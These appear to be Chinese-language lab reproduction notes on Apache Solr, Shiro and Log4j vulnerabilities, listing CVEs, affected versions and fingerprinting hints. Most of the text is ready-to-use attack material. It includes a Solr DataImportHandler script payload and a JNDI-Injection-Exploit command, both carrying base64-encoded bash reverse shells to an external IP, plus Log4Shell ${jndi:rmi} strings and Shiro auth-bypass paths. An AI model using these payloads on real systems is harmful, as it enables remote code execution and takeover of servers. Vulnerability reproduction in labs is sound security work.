Solr:(Vulfocus复现)

主要基于 HTTP 和 Apache Lucene 实现的全文搜索服务器。

历史漏洞https://avd.aliyun.com/search?q=Solr

黑盒特征:图标及端口 8393

  • 命令执行(CVE-2019-17558)

    Apache Solr 5.0.0 版本至 8.3.1

    https://github.com/jas502n/solr_rce

    D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id
  • 远程命令执行漏洞 (CVE-2019-0193)

    Apache Solr < 8.2.0 版本

    https://vulhub.org/#/environments/solr/CVE-2019-0193/

    条件1:Apache Solr 的 DataImportHandler 启用了模块 DataImportHandler(默认不会被启用)。

    条件2:Solr Admin UI 未开启鉴权认证。(默认情况无需任何认证)。

    选择已有核心后选择 Dataimport 功能并选择 debug 模式,更改填入以下 POC,点击 Execute with this Confuguration

    <dataConfig>
      <dataSource type="URLDataSource"/>
      <script><![CDATA[
    function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
              }
      ]]></script>
      <document>
        <entity name="stackoverflow"
    url="https://stackoverflow.com/feeds/tag/solr"
    processor="XPathEntityProcessor"
    forEach="/feed"
    transformer="script:poc" />
      </document>
    </dataConfig>
  • 认证绕过漏洞(CVE-2024-45216)

    参考https://mp.weixin.qq.com/s/Ke3hzJ2iGSekrsFpZV263w

    GET /solr/admin/info/properties:/admin/info/key
    
  • 文件上传路径遍历漏洞(CVE-2024-52012)

    参考https://mp.weixin.qq.com/s/uYGLIcu0VUA3sB6heBUBrg

Shiro:(本地源码复现)

Java 安全框架,能够用于身份验证、授权、加密和会话管理。

历史漏洞https://avd.aliyun.com/search?q=Shiro

黑盒特征:数据包 cookie 里面 rememberMe

  • CVE_2016_4437 Shiro-550+Shiro-721

    影响范围:Apache Shiro 1.2.4

    工具箱利用项目搜哈

  • CVE-2020-11989

    PoC:/admin/%20

    影响范围:Apache Shiro < 1.7.1

  • CVE-2020-1957

    PoC:/xxx/..;/admin/

    影响范围:Apache Shiro < 1.5.3

  • CVE-2022-32532

    PoC:/permit/any

    /permit/a%0any 可绕过

    需要依赖代码具体写法,无法自动化,风险较低。

    影响范围:Apache Shiro < 1.9.1

  • CVE-2023-34478,CVE-2023-46749

Log4j:(Vulhub和本地源码复现)

Apache 的一个开源项目,是一个基于 Java 的日志记录框架。

历史漏洞https://avd.aliyun.com/search?q=Log4j

黑盒特征:盲打 会问蓝队攻击特征(${jndi:rmi:///osutj8})

Log4j2 远程命令执行(CVE-2021-44228)

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

  1. 生成反弹 Shell 的 JNDI 注入

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 47.94.236.117
  2. 构造 JNDI 注入 Payload 提交

    ${jndi:rmi://47.94.236.117:1099/osutj8}
    %24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%58%75%74%6a%38%7d
    
    

JNDI 注入 JDK 高版本绕过

https://github.com/B4aron1/JNDIBypass

https://mp.weixin.qq.com/s/rxcnKAaBCDp9FHKO8eWYlQ